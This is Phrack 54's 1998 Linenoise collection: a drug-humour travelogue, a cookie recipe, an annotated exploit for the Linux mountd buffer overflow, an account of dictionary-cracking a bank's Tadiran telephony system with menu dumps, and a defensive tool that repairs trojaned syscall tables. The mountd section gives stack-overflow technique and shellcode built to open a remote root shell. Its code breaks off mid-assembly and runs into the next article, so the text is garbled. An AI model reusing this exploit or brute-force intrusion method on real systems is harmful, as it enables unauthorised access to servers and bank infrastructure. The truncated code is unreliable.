---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 03 of 12


-------------------------[  P H R A C K     5 4     L I N E N O I S E


--------[  Various


0x1>-------------------------------------------------------------------------

The r00t/h4g1s peace summit - 1998
----------------------------------

    In a digital world marred by strife and conflict, it was only fitting
that the two mega-super powers of the digital underground met for a peace
conference somewhere they could partake of the peace pipe.  Amidst the
quaint silence of the fluttering windmills of Holland, the representatives
of their respective parties settled in for a week of negotiations in the
heart of Amsterdam.

Day 1:
    They paint fake flies (the flying kind, not the zipper kind) on the
toilets in the Schlipteinheinekinoffien airport in Amsterdam, because,
as we all know, hackers can't resist a good target.  The next stop was
to our official reception at the Hotel Ibis.  I walked into the room,
meeting face to face with 7 of the most notorious and feared hackers
alive.  My heart raced, and I felt all the sweat glands on my body release
in one giant orgasmic instant.  And then I started coughing...

Day 2:
    My throat severely scarred from the previous day of going to "coffee"
shops and buying (legally) some marijuana with such names as "The Elite
Buddha", and "Zero Day", we set out for some serious negotiations on the
second day.  Our mission was to create a truce, allowing the free
transportation of our packets, unencumbered, unmodified, and unmonitored,
across the Internet.  H4g1s demanded r00t supply them with "-1 Day" in
exchange for peace.
    r00t requested a "-1 day" from an Internet savvy street person who kept
reminding us of our r00t brother, X.  The street person, we'll call him
Outlaw, showed us some pills, but they did not appear to be what
h4g1s was looking for.  So, we decided to move on.  Outlaw, however, had
other ideas.  He wanted his 25 guilders to take his aspirin to X,
apparently (For those of you unfamiliar, a guilder is the Netherlands unit
of money, and roughly resembles monopoly money, except a guilder isn't
really worth anything, whereas monopoly is fun!).  We refused, and Chico
got mad.  He started telling us, "WE ARE GOING TO HAVE A PROBLEM SOON."
After that, things were "STARTING TO GET VERY SERIOUS."  Finally, Chico
got pissed off and broke a beer bottle and started going insane, so r00t &
h4g1s made a temporary truce and started running.
   After turning several corners, the mad outlaw was chasing after us with
his broken glass wielding in the cold winter night.  We were now in the
"red light district", the physical equivalent to the place on the Internet
where you can buy whores and have sex with them, and people were looking
at us funny being chased through the streets.

Day 4:
    We slept through day 4.

Day 3:
    Things were getting very strange in Amsterdam.  Most notably, day 3
happened AFTER day 4.  Don't ask me how.  It may have related to the
fungus located within a "Inner Visions" container that we consumed in
the hopes of progressing our talks further.  We played some Ultima Online,
except we didn't use any computers.  I think there was a strange
steakhouse experience at some point this day, but I can't provide any
further details.

Day 5:
    Everything in the world is energy vibrating at different rates.  If we
can find some way to make our own matter vibrate at a consistently faster
rate we can transcend the physical universe and enter the digital plane.
I think we need to switch tenses back to the past before.  With Outlaw out
of the picture, we resumed our negotiations over some spacecakes (its like
a brownie, or a muffin, or a donut, except it has Zero Day in it).

Day 6:
    I thought we ate all the shrooms in Day Pi!  Ok, fine.  Things are
easier to handle when you have a vision.  Vision is just a hallucination
induced by energy waves bouncing around in your head.  Your head is cool.
COOL is a lame stock.  EBAY is insanely overpriced.  So are M3s.  Mach 3's
are cool razors.  Razors are sharp.  Sharp MD players are too thick.  As
is Mark's cock.  And long!

-r00t & h4g1s

0x2>-------------------------------------------------------------------------

A CASE STUDY: LINUX MOUNTD STACK OVERFLOW

There is nothing new here, but the code is a text book example of how buffer
overflows are done. Even if you have read other articles on buffer overflows
you might find something of value in here. Or maybe not. The case studied
is the Linux nfsd/mountd vulnerability mentioned in the CERT advisory on
Aug 28.

nuuB


<++> linenoise/mountd-sploit.c
/*
 * mountd-sploit.c - Sploit for Linux mountd-2.2beta29+ (and earlier). Will
 *                   give a remote root shell.
 *
 * Cleaned up, documented and submitted to Phrack on Sep 3 1998.
 *
 * I've included a quick primer on stack overflows and made lots of comments
 * in the code, so if you don't know how these stack overflow exploits work
 * take this opportunity to learn something.
 *
 * It is trivial to extend the code (or use scripting) to make something that
 * automatically scans subnets or lists of IPs to find vulnerable systems.
 * This is left as an exercise for the enterprising young hax0rs out there.
 *
 * You need the following RPC files for your particular architecture:
 *
 *   nfsmount.h
 *   nfsmount_xdr.c
 *
 * These can be generated from 'mount.x' by the 'rpcgen' utility. I simply
 * lifted the files that came pre-generated with Linux 'mount'. These are
 * included uuencoded, but they may not work on your particular system. Don't
 * bug me about this.
 *
 * Compile with:
 *
 * cc mountd-sploit.c nfsmount_xdr.c -o mountd-sploit
 *
 * Have fun, but as always, BEHAVE!
 *
 * /nuuB
 *
 */

/*
  A QUICK PRIMER ON STACK OVERFLOWS
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Read Aleph1's article in Phrack Issue 49 File 14 (P49-14) for a detailed
  explanation on how to write sploits (the examples are for Linux/i386 but
  the methodology is valid for any Unix, and can be applied to other OS's
  once you understand the technique). If you are targeting one of Bill's OS
  check out cDc #351: "The Tao of Windows Buffer Overflow" by DilDog.

  The properties that we take advantage of are:
  
  * The stack memory pages have the execute bit set
  * The return address from functions are stored on the stack on a higher
    address than the local variables.

  MEMORY MAP
   
   -- Start of stack (i.e bottom of stack - top of memory) e.g 0xc0000000 --
    <environment variables>
    <stack frames from main() down to the function calling our function>
    <arguments to the vulnerable function>
    <** return address **>
    <frame pointer for prev frame - unless compiled with -fomit-frame-pointer>
    <local variables for the vulnerable function>
   -- Top of stack (lower memory address) e.g 0xbffff9c8 --

  THE OVERFLOW

  The trick is to overflow a local variable that is set through a function
  that doesn't check for overflows (strcpy, sprintf, etc). By supplying a
  (too) long string you can overwrite memory at higher addresses, i.e closer
  to the start of the stack. More specifically we want to overwrite
  <** return address **> with a pointer that points back into the stack that
  contains code we want executed. Getting the code on the stack is done by
  including it in the string we are overflowing with, or by placing it in
  an environment variable.

  The code can do anything you like, but the standard thing is to execve()
  a shell. There are often limitations on what the code can look like in
  order to be placed unmangled on the stack (length, touppper(), tolower(),
  NULL bytes, path stripping etc). It all depends on how the target program
  processes the input we feed it. Be prepared for some tinkering to avoid
  certain byte patterns and to make the code use PC/IP relative addressing.

  The overflow string (called the 'egg') is normally passed to the
  target program through command line arguments, environment variables,
  tcp connections or in udp packets.

  POSSIBLE COMPLICATIONS

  Sometimes you will destroy other local variables with your egg (depends on
  how the compiler ordered the variables on the stack). If you use a long
  enough egg you could also trash the arguments to the function. As your code
  isn't executed until the vulnerable function returns (not at the return of
  the function doing the actual overflowing, e.g strcpy()), you must make sure
  that the corrupted variables don't cause a crash before the return. This
  means that your egg probably has to be aligned perfectly, i.e only use one
  return pointer and preceed it with 'correct' values for the local variables
  you are trashing. Unfortuntely the ordering of the variables is often
  dependent on what compiler options were used. Optimization in particular
  can shuffle things around. This means that your exploit will sometimes have
  to target a particular set of options.

  Most of the time the trashing of other local variables isn't a problem but
  you may very well run into it some day.

  THE RETURN POINTER

  The only problem left is to guess the right address to jump to (i.e the
  return pointer). This is done either by trial and error or by examining the
  executable (requires you have access to a system identical to the target).
  A good way to get a reasonable starting value is to find out how much
  environment variables the target process has (hint: use 'ps uxawwwwwwwwe')
  and combine that with the base stack pointer (you can find that out with
  a one line program that shows the value of the stack pointer).
  To increase the chances of success it is customary to fill out the start of
  the egg with NOP opcodes, thus as long as the pointer happens to point
  somewhere in the egg before the actual code it will execute the NOPs
  then the code.

  That is all there is to it.

*/


/*
 * Now, back to our case study.
 *
 * Target: rpc.mountd:logging.c
 *
 * void Dprintf(int kind, const char *fmt, ...) {
 *   char buff[1024];
 *   va_list args;
 *   time_t now;
 *   struct tm *tm;
 *
 *   if (!(kind & (L_FATAL | L_ERROR | L_WARNING))
 *      && !(logging && (kind & dbg_mask)))
 *          return;
 *   ...
 *   vsprintf(buff, fmt, args);   <-- This is where the overflow is done.
 *   ...
 *   if (kind & L_FATAL)
 *       exit(1);
 * }   <-- This is where our code (hopefully) gets executed
 *
 * This function is called from (e.g) mountd.c in svc_req() as follows:
 *
 * #ifdef WANT_LOG_MOUNTS
 *     Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n",
 *             inet_ntoa(addr), argbuf);
 * #endif
 *
 * Looks great (WANT_LOG_MOUNTS appears to be defined by default). Type
 * L_WARNING is always logged, and all we have to do is to try to mount
 * something we are not allowed to (i.e as long as we are not included in
 * /etc/exports we will be logged and get a chance to overflow). 
 *
 * The only complication is the first %s that we will have to compensate for
 * in the egg (our pointers must be aligned correctly).
 *
 * We use 5 pointers to avoid problems related to how the compiler organized
 * the variables on the stack and if the executable was compiled with or
 * without -fomit-frame-pointer.
 *
 * 3 other local variables (size=3*4) + 1 frame-pointer + 1 return pointer = 5
 *
 * Still plenty of room left for NOPs in the egg. We do have to make sure that
 * if the 3 other variables are trashed it won't cause any problems. Examining
 * the function we see that 'now' and 'tm' are initialized after the vsprintf()
 * and are thus not a problem. However there is a call 'va_end(args)' to end
 * the processing of the ellipsis which might be a problem. Luckily this is
 * a NOP under Linux. Finally we might have trashed one of the arguments
 * 'kind' or 'fmt'. The latter is never used after the vsprintf() but 'kind'
 * will cause a exit(1) (bad!) if kind&L_FATAL is true (L_FATAL=0x0008).
 * Again, we are in luck. 'kind' is referenced earlier in the function and in
 * several other places so the compiler has gratiously placed it in a register
 * for us. Thus we can trash the arguments all we want.
 * 
 * Actually, if you examine the executables of mountd in the common distros
 * you will find that you don't have to trash any variables at all as 'buffer'
 * is placed just before the frame pointer and the return address. We could
 * have used a simple egg with just one pointer and this would have worked
 * just as well in practise.
 *
 * All this 'luck' is in fact rather common and is the reason why most buffer
 * overflows are easy to write so they work most of the time.
 *
 * Ok. Delivery of the egg is done through the RPC protocol. I won't go into
 * details here. If you are interested, get the sources for the servers and
 * clients involved. Half the fun is figuring out how to get the egg in place.
 *
 * The last piece of the puzzle is to keep shoveling data from the local
 * terminal over the TCP connection to the shell and back (remember that
 * we used dup2() to connect the shell's stdout/in/err to the TCP connection).
 *
 * Details below.
 */

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <fcntl.h>
#include <signal.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>

#include "nfsmount.h"

/* 
 * First we need to write the code we want executed.
 *
 * C0de: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh");
 *
 * setreuid() is probably not necessary, but can't hurt.
 *
 * fork() is done to change pid. This is needed as someone - probably the
 * portmapper - sends signals to mountd (the shell has no handlers for these
 * and would die).
 *
 * The dup2()'s connect stdout/stderr to the TCP socket.
 *
 * The code assumes 'mountd' communicates with the client using descriptor
 * zero. This is the case when it is started as a daemon, but may not be so if
 * it is launched from inetd (I couldn't be bothered to test this). The
 * dup2()'s may need to be changed accordingly if so.
 *
 * For Linux/i386 we would get:
 */

#if 0

void c0de() {
  __asm__(
	  "jmp .get_string_addr\n\t" /* Trick to get address of our string */
	  ".d01t:\n\t"

	  "xorl %eax,%eax\n\t"
	  "movl %eax,%ebx\n\t"  /* ruid=0 */
	  "movl %eax,%ecx\n\t"  /* euid=0 */
	  "movb $0x46,%eax\n\t" /* __NR_setreuid */
	  "int $0x8

0x3>-------------------------------------------------------------------------

Eleet ch0c0late ch1p co0kies

by Juliet

The chocolate chip cookies is an old exploit.  You can use it to bribe
your teachers, sysadmins, bosses, even feds.  Never underestimate the
cookie.  Picture this.. little girlie walks up to you in the NOC.. offers
you a home-baked chocolate chip cookie!  She must be someone's secretray..
or something.. wow she sure fooled you.. anyway.. bake them.. they are
good.. DO NOT substitue ingrediants.. other than like M&M's for chocolate
chips..


1 cup (packed) golden brown sugar
1/2 cup sugar
1/2 cup solid vegetable shortening, room temperature
1/2 cup (1 stick) unsalted butter, room temperature
2 large eggs
1 tablespoon vanilla extract
3 cups all purpose flour
1 teaspoon baking soda
1 teaspoon salt
1 12-ounce package semisweet chocolate chips

Preheat oven to 350F. Using electric mixer, beat both sugars, shortening
and butter in large bowl until light and fluffy. Beat in eggs and
vanilla. Mix flour, baking soda and salt in large bowl. Add dry
ingredients to butter mixture and mix until blended. Stir in chocolate
chips.

Drop dough by heaping tablespoonfuls onto heavy large baking sheets, spacing
2 inches apart. Bake until golden brown, about 12 minutes. Transfer baking
sheets to racks; cool 5 minutes. Transfer cookies to racks;
cool completely.

Makes about 42 cookies.. or you can make ONE BIG pan cookie

0x4>-------------------------------------------------------------------------

          - Tadiran; Computer Telephony Integration (CTI) -
                Blakboot <blakboot@darkcartel.com>

                       
Introduction
============

Hello everyone.  This article is primarily about Tadiran Telecommunications
software and hardware used to syncronize computer applications with phone 
calls.  I will be refering to system version 9.63.03.01 and any variants as 
just `Tadiran`.  From firsthand experiences with this type of system I've
found  that they can be configured to do many things, from trunk timers to
on hold music.

Although a very powerful system, the Tadiran lacks basic security.  This is
a no no, especially when it provides worldwide technologies for all types
of industries, including banking.

The issue of lack of security is mainly why I wanted to write this article.
The Tadiran is very much open to intrusion.
 
 
How it began
============
 
A phreak friend of mine, Mf-Man, and I were scanning for loops, we found
a carrier.  We took a short look at the system for a while, until our
interests waned and took us elsewhere..

Months later, bored, I dialed into the system, with plans of throwing a
dictonary file at it at steady pace (Tadiran, only requires a password for
authentication).

So, I just sat back, and waited...  After a long while, to my gleeful
surprise, it cracked!  I (like many others before me) did that zealous
happy dance.

This system, Tadiran, is rather cryptic without documentation.  Even still,
I managed to dig up some interesting info.  This system I managed to get
into was that of a CTI system from a well known bank.  The major flaws thus
far (I plan to write a more in depth article):

    * Unlimited password attempts.
    * No login names.
    * A password prompt that responds, well, promptly.

What follows are some screen shots of the Tadiran system. 
 
The system
==========
 
Password prompt:        ENTER PASSWORD  
Bad password Msg.:      ILL PASSWORD  , TRY AGAIN !
System prompt:          *:
Enviroment:             Tree menus; menus branch from root, and so on.
 
            
            -This the root menu, the menu sent upon login.-
 
(ROOT)
CCS       9.63.03.01     SMDI & 24SDT                          
Copyright (c) 1991-1997 Tadiran Telecommunications Ltd.
NAME  - xxxxxxxxx  
SAU # -    xxxx     
  0-CONFIG
  1-DIAGN
  2-TABLES
  3-ADMIN
  4-ROUTING/COST
  5-ISDN
  6-DATA
  7-CoraLINK
  8-NETWORK
  9-HELP
 
      Any of the menus/options can be choosen by number, or name.
 
Control keys:
        ^C / ESC  ------ Go back 1 menu.
              
              ^T  ------  Displays account and system information.
                 EXAMPLE:
                        
                        CCS: xxxxxxxx  xxx-xx-1998 10:48pm  
                        Terminal No.: 4,  Password level: 0  
                        Software Version:   9.63.03.01     SMDI & 24SDT
              
              ^P  ------ Relogin. 
 
/* There are others--they seem have something to do with emulation, 
and scrolling. *\
 
 
 
Menu descriptions - ment for reference.
=========================================
 
This is a list of globally accessable menus, available by typing, "HELP"      
<Note> I've "x"'d out all group names from the orignal system this 
      information was recovered from.
 
 
PI MESSAGES     =(MSG)     FEAT. & AUTH. =(FEAT)     SMDR CONTROL  = (SMDR)
47/8T CARD_DB  =(TKDB)     FEATURE TIMERS=(FE.T)     STATION TIMERS =(ST.T)
ALT ROUT TK.GRP=(ROUT)     GROUPS       =(GROUP)     SYSTEM GEN.  =(SYSGEN)
xxxx/xxx GROUP =(xxxx)     xxxxxxx GROUP =(xxxx)     SYS FEATURES   = (SFE)
xxxx GROUP     =(xxxx)     IST/SLT CARD_DB=(STDB)    SYS TIME SET-UP=(TIME)
BUSY PORTS     =(BUSY)     IST/SLT DEF.   =(SLT)     TERMINAL SET-UP=(TERM)
CARD DATA-BASE = (CDB)     LCR/ROUTING    =(LCR)     TOLL BARRIER   =(TOLL)
CARD LIST      =(CLIS)     xxxxxxxxx      =(xxx)     TONE PLAN      = (TON)
CLASS OF SERVICE=(COS)     xxxxxxxxxxxxx=(xxxxx)     TRUNK DEFINITION=(TRK)
COST_CALC.     =(COST)     NUMBERING PLAN =(NPL)     TRUNK_GROUP    =(TKGP)
DATA SERVICES  =(DATA)     PICKUP GROUP  =(PICK)     TRUNK GRP DEF =(TGDEF)
xxxx CARD DB   =(DIDB)     PORT DATABASE  =(PDB)     TRUNK PORTS   =(TRUNK)
xxx/xxx GROUP  =(DIDG)     PORT LIST     =(PLIS)     TRUNK TIMERS   =(TK.T)
DIGITAL TRUNK  =(DTDB)     PREFERENCE    =(PREF)     WAKEUP       =(WAKEUP)
KEY DEFINITION = (KEY)     DIGITAL BUS LIST=(DLIS)   ZONED GROUP     =(VPZ)
KEY PROGRAMING =(PROG)     RINGER P.S.    =(RPS)     VFAC           =(VFAC)
KEYSET TIMERS  =(EK.T)     SIZES DEF      =(SIZ)     GROUP CALL     =(CALL)
 
PI MESSAGES - Terminal setup, diag/stim.
47/8T CARD_DB - Card information. Example:
                        LS_RING_PAUS (sec)-  5  
                        GS_RING_PAUS (sec)-  1  
                        O/G BREAK_TIME(ms)- 60  
                        O/G MAKE_TIME (ms)- 40  
                        O/G INTERDGT_T(ms)- 800  
                        GS_DISCONNECT (ms)- 800                  
                         METER (4TMR) :
                        f0 (0=16K,1=12K,2=50Hz)- 0  
                        f0 ACCURACY +/-(1-10)% - 3  
                        METER_AFTER_DISCONNECT (Y/N) - N     
 
ALT ROUT TK.GRP - Add, display, update, or remove trunk group.
BUSY PORTS - Displays what ports are busy.
CARD DATA-BASE - List many submenus of card, in which you may get/update 
CARD LIST - EXAMPLE:
 shelf#/slot#  p_type     i_type    card_db#   vers/subver  status 
     0 / 1     NO_CARD    NO_CARD  ---        ---   ---     ------           
     0 / 2     8DTR/S     NO_CARD  ---        17    8       ACTIVE           
     0 / 3     T1         T1       1          14    38      ACTIVE           
 
CLASS OF SERVICE - ST/TK, and ATT show all kinds of information on 
                   trunk control. TENANTS deals with group access.
COST_CALC. - Information about costs for certain services, at various
             times.
DIGITAL TRUNK - Card/trunk information, configuration, channel signaling.
KEY DEFINITION - Telephone configuration 
                 EXAMPLE:
prm_cos-    1      sec_cos-   1      priv_libs-   12      terminal-   N 
origin-     N      block-     N      o/g_tk_rest-  N      privacy-    Y 
excl_hold-  N      hard_hold- N      last_num-     Y      security-   N 
att-        Y      auto_unatt-N      passcode-     NONE   check_out-  N 
multi_app-  Y      m.a.mute_ring-Y   mute_ring-    Y     
auto_ans-   N      idle_disp.-Y      keyclick-     Y      music-      Y 
music_num-  0      v_page_in- Y      auto_ans_v_p- Y      auto_hld/xfer/off-1
spkr_on/off-Y      blind_att- N      pcc-          Y      pc_acd-     N 
mic-        Y      comb_audio-N      display_size- NO_DSP language-DEFAULT  
but_num-    2      ksi-       N      ksi_type-     0 
eis-        N      send_id-   Y      ali-       NONE      aoc-e_display-N 
alert_makecall-N 
active dpem id's- NONE    installed dpems- 1
dkt: spkr_environment- 1
music_on_hold - 0
 
KEYSET TIMERS - EXAMPLE:
                        1 unit = 0.1 sec.
        
                        AUTO_ANSWER     -    10  
                        AUTO_ANS_V_PAGE -    10  
                        TONE_TO_IDLE    -    10  
                        AOC-E_DISPLAY   -   300  
                        MUTE_RING       -    50  
 
FEAT. & AUTH - Authorizations, and system features. Check here to 
               see if Call trace OR caller ID is active. 
 
FEATURE TIMERS - This is a bit interesting. 
                 EXAMPLE:
                        *  (1 unit =1.0  sec)
                        ** (1 unit =0.1  sec)
                        ***(1 unit =0.01 sec)
                        *AUTO_REDIAL-  30  
                        *REMIND_SNOOZE-  60  
                        *WAKEUP_SNOOZE-  60  
                        **WAKEUP_RING - 300  
                        **NET_FEATURE_ACK-   40          
                        **SUSP_OFFHK-    5  
                        BELL_RING:
                        **ON_BELL  -   10  
                        **OFF_BELL -   20  
                        **ATT.MSG-   50  
                        **EXPENSIVE_ROUTE_TONE -  10  
                        **RING- 100  
                        **SUPV_RECALL- 3600  
                        **CONF_SUPV_RECALL- 1800  
                        **BREAK_IN/OUT-   10  
                         BREAKIN_WARNING:
                                **ON  -    1  
                                **OFF -   20  
 
GROUPS - List of submenus, of groups.
IST/SLT CARD_DB - Ring information.
IST/SLT DEF. - Slot of line info.
               EXAMPLE:  
        prm_cos-  0 sec_cos-   0 priv_libs-  3    terminal-   N 
        origin-   N block-     N o/g_tk_rest-N    privacy-    Y 
        excl_hold-N hard_hold- N last_num-   Y    security-   N 
        att-      N auto_unatt-N passcode-   NONE check_out-  N 
        type-     1 announcer- N multi_app-  N    send_id-    Y 
        ali-   NONE opx-       N hf_relevant-Y    music_on_hold-0
 
LCR/ROUTING - Libraries, update, or display.
NUMBERING PLAN - Lines, and there features:  UPDATE, DISPLAY, ADD,
                 REMOVE, or SHOW
 
STATION TIMERS - EXAMPLE:
                                1 unit = 0.1 sec.
                                RING-  450  
                                MULT_APR_RING-  200  
                                BUSY- 1200  
                                REORDER-   50  
                                CONFIRM-   30  
                                DVMS-  200  
                                HOLD- 6000  
                                HARD_HOLD- 1200  
                                PARK- 1200  
                                PAGE_Q-  600  
                                1st_DGT -  100  
                                INTERDGT-  150  
                                FEAT_DIAL-  700  
                                HKFLS_FILTER-    10  
                                MAGNETO_AUTO_ANS-    30  
                                CF_NO_ANS- 200  
 
SYSTEM GEN - MENU:
                (SYSGEN)
                0-INSTALL
                1-SIZES_DEF
                2-SIZES_TAB
                3-SPEED_CALLS (MCC only)
                4-MUSIC
                5-TIME_SLOTS (4GC only)
                0-TRUNK_CALLS_OUTGOING
 
SYSTEM FEATURES - Trunk_calls_incoming, station_options, intercept/
                  incomplete, call_forwarding, camp_on, hotel,messaging, 
                  tones, diagnosrics, ISDN, network, and wireless
TONE PLAN - EXAMPLE:
~~~~~~~~
NO NAME     TYPE #SEG 1TN Msec 2TN Msec 3TN Msec 4TN Msec 5TN Msec 6TN Msec
 0 Busy       3    2    3  500   0  500   0    0   0    0   0    0   0    0
 1 Dial       1    0    1    0   0    0   0    0   0    0   0    0   0    0
 2 Distinct.  1    0    4    0   0    0   0    0   0    0   0    0   0    0
 3 Reorder    3    2    3  240   0  240   0    0   0    0   0    0   0    0
 4 Ringback   3    2    2 2000   0 4000   0    0   0    0   0    0   0    0
 5 Silence    1    0    0    0   0    0   0    0   0    0   0    0   0    0
 6 Tick       3    2    5   60   0 1000   0    0   0    0   0    0   0    0
 8 Confirm    3    2    1  100   0  100   0    0   0    0   0    0   0    0
 9 BRK_In/Out 1    0    5    0   0    0   0    0   0    0   0    0   0    0
11 V.P Conf   3    2    3  100   5  100   0    0   0    0   0    0   0    0
12 Z.P Warn   3    2    6  300   3  100   0    0   0    0   0    0   0    0
14 LCR_expens 2    6    0  120   5   80   0  120   5   80   0  120   5   80
15 LCR_cheap  2    4    0  120   5   80   0  120   5   80   0    0   0    0
16 Call Wait  3    4    5  600   0 5000   0 5000   0 5000   0    0   0    0
17 DISA Dial  1    0    1    0   0    0   0    0   0    0   0    0   0    0
 
TRUNK DEFINITION - EXAMPLE:
                        DISA (0-NO /1-IMMED. /2-DELAY)- 0  
                        COS.-  10  
                        TK_TIMER#-  1  
                        TYPE (0-PULSE /1-DTMF /2-MIX)- 1  
                        I/C_ONLY-N   
                        O/G_ONLY-N   
                        BUSY_OUT-N   
                        AUTO_GUARD-N   
                        HOT_IMMED-N   
                        HOT_DELAY-N   
                        DROP_NO_DIAL-N   
                        RSRVD_TO-    NONE    
                        CALLER_ID_TIMEOUT -  50  
TRUNK TIMERS - EXAMPLE:
                        H.FLASH(10ms)-    67  
                         INCOMING :
                        E&M_SEIZE_TO_WINK-     1  
                        E&M_CONT_WINK_TIME-     2  
                         OUTGOING :
                        E&M_CONT_WINK/SG_DELAY-     1  
                        SEIZE_TO_DIAL-    15  
                        SECOND_DIAL_TONE-    60  
 
VFAC - Account maintance. - Requires password.
 
---The ones that I didn't list were either self-explanitory, or N/A 


0x5>-------------------------------------------------------------------------

b t r o m							   b y   r i q
------------------------------------------------------------------------------
"trojan eraser or i want my system call table clean"

------------------------------------------------------------------------------
i n t r o d u c t i o n
------------------------------------------------------------------------------
The other day, I started to play with the itf that appeared in P52-18 (read
that article if you want to know what it does, etc).  It occured to me one
good way to determine if someone has installed the trojan (and to subsequently
remove it) is by fixing the system call table.  This program tries to do that.
This works with the the linux x86 2.0 and 2.2 series.


------------------------------------------------------------------------------
i n t e r n a l s
------------------------------------------------------------------------------
The program first attempts to detect if you are using a BIG_KERNEL (a bzImage)
or not (a zImage).  One of the differences is the address of the kernel in
memory.  BIG_KERNEL starts at 0xc0000000 while the other starts at 0x00100000.

The system call table (sct) has the entries of all the system calls.  If
you modify the sct, the new entry must be `out of range'.  btrom will try to
fix these `out of range' system calls with their original values.  They are
taken from the System.map.  What i mean with "`out of range'" is an entry
that has a value out of the start_of_the_kernel and the_start_of_the_kernel +
some_value.  This value is in the config.h
 

------------------------------------------------------------------------------
q u i c k   i n s t a l l
------------------------------------------------------------------------------
compile:
--------
1) edit config.h and Makefile. Modify it if you want.
	$ vi config.h
	$ vi Makefile

2) make
	$ make

use:
----
1) be root
	$ su -

2) install the module mbtrom 
	# insmod mbtrom

3) run btrom
	# ./btrom _nr_mbtrom_ [options]

4) uninstall the module mbtrom
	# rmmod mbtrom


------------------------------------------------------------------------------
c h a c h a r a
------------------------------------------------------------------------------
1st part: detect trojans legends
[ ] this is ok. dont worry
[N] this is a null enter in the system call table. dont worry.
[-] this is the entry of the module mbtrom. dont worry.
[?] this entry has a system function, but it was supposed to be null. worry
[*] this is probably a trojan in a reserved space. worry.
[!] this is probably a trojan in a not reserved space. worry.

2nd part: clean trojans legends
<s> press 's' to fill this entry with the System.map's value.
<c> press 'c' to clean this entry. it will be filled with a null entry.
<m> press 'm' to put in this entry a manual hexa address.
<i> press 'i' to ignore, skip, what you want.

------------------------------------------------------------------------------
n o t e s
------------------------------------------------------------------------------
this program doesnt uninstall trojan modules.
this program disables the trojans, so, after that,
you can uninstall the trojan with 'rmmod'.


------------------------------------------------------------------------------
b u g s
------------------------------------------------------------------------------
if `insmod mbtrom' doesnt returns any value, is because you are redirecting
that message with syslogd. Please check /etc/syslog.conf and see "kern".


------------------------------------------------------------------------------
h i s t o r y
------------------------------------------------------------------------------
* version 0.3 (01/12/98) compatible with kernel 2.0 y 2.2. 
			 works with BIG_KERNEL and with SMALL
			 english version
* version 0.2 (25/11/98) first version 
* version 0.1 (21/11/98) something really ugly 
* all this happened when i see the itf (intregated trojan facility in P52-18)


------------------------------------------------------------------------------
f e e d b a c k
------------------------------------------------------------------------------
riq@ciudad.com.ar

<++> linenoise/btrom/Makefile
#
# Makefile del  b t r o m
#


## BUG. This must be the same as the one in config.h
SYSTEM_MAP = "/usr/src/linux/System.map"

AWK	= awk
CC	= gcc
#CFLAGS	= -DSYSTEM_MAP=$(SYSTEM_MAP)

all: parse btrom mbtrom

parse:
	$(AWK) -f sys_null.awk $(SYSTEM_MAP) > sys_null.h

btrom: btrom.o 
	$(CC) btrom.c -O2 -Wall -o btrom

mbtrom:
	$(CC) -c -O3 -Wall -fomit-frame-pointer mbtrom.c	

clean: 
	rm -f mbtrom.o btrom.o btrom sys_null.h
<-->
<++> linenoise/btrom/btrom.c
/*
 * btrom - Borra Trojanos Modulo
 * por Riq
 *  1/Dic/98: 0.3 - Compatible con kernel 2.2 y soporta BIG_KERNEL
 * 25/Nov/98: 0.2 - Version inicial. Soporta kervel 2.0 i386
 */
#include <stdio.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fnmatch.h>
#include <strings.h>
#include <linux/sys.h>

#include "config.h"
#include "sys_null.h"

FILE *sm;
FILE *au;
int quiet;
int borrar;
int dif_n_s;
unsigned int big_kernel;

/***********************************************************************
	System.map	
************************************************************************/
int sm_b_x_nom( unsigned int *address, char *estoy )
{
	char buffer[200];
	char sys_add[20];

	fseek(sm,0L,SEEK_SET);
	while( fgets(buffer,200,sm) ) {
		if( fnmatch(estoy,buffer,0)==0 ) {
			strncpy(sys_add,buffer,8);
			sys_add[8]=0;
			*address = strtoul(sys_add,(char **)NULL,16);
			return 1;
		}
	}
	return 0;
}

int sm_busca_x_nombre( unsigned int *address, char *estoy)
{
	char nombre[50];

	sprintf(nombre,"*T sys_%s\n",estoy);
	return sm_b_x_nom(address, nombre);
}

FILE* sm_open()
{
	return fopen( SYSTEM_MAP, "r" );
}

/***********************************************************************
	asm/unistd.h
************************************************************************/
void au_dame_el_nombre( char *dst, char *orig )
{
	int i,j;

	j=i=0;
	while( orig[i]!='_' )
		i++;
	i=i+5;
	while( orig[i]!=' ' && orig[i]!='\t' ) 
		dst[j++]=orig[i++];
	dst[j]=0;
}
	
int au_b_x_num( char *nombre, int numero )
{
	char buffer[200];
	char buscar[50];

	/* FIXME: ?sera mas efectivo regexec() que fnmatch()? */
	sprintf(buscar,AU_PREFIX"%i*",numero);
	while( fgets(buffer,200,au) ) {
		if( fnmatch(buscar,buffer,0)==0 ) {
			au_dame_el_nombre(nombre,buffer);	
			return 1;
		}
	}
	/* No encontre... entonces una segunda pasada */
	fseek(au,0L,SEEK_SET);
	while( fgets(buffer,200,au) ) {
		if( fnmatch(buscar,buffer,0)==0 ) {
			au_dame_el_nombre(nombre,buffer);	
			return 1;
		}
	}
	return 0;
}

int au_busca_x_numero(char *nombre, int numero)
{
	return au_b_x_num(nombre,numero);
}

FILE* au_open()
{
	return fopen( ASM_UNISTD, "r" );
}

/*****************************************/
/* Comun a la primer y segunda recorrida */
/*****************************************/
int comun_1er_2da( int j, int i , char *nombre , char *c, int clean, unsigned int retval)
{
	int a;
	a = clean;			/* bug fix */
	nombre[0]=0;

	/* i!=0 porque el asm/unistd del kernel 2.2 no viene */
	if( i!=0 && au && au_busca_x_numero(nombre,i)) {
		if( retval > big_kernel + LIMITE_SYSCALL ) {
			*c = '*' ;
			clean++;
		} else
			*c = ' ';
	} else {
		if( retval > big_kernel+LIMITE_SYSCALL ) 
			*c = '!';
		else 
			*c = '?';
		clean++;
	}
	if(i==j) { 				/* modulo btrom */
		*c='-';
		clean=a;
	} else if(retval==SYS_NULL || retval==0) {/* Null pointer */
		*c='N'; 
		clean=a;
	}
	return clean;
}
/**********************************************************************
	primer_recorrida: Detectar troyanos
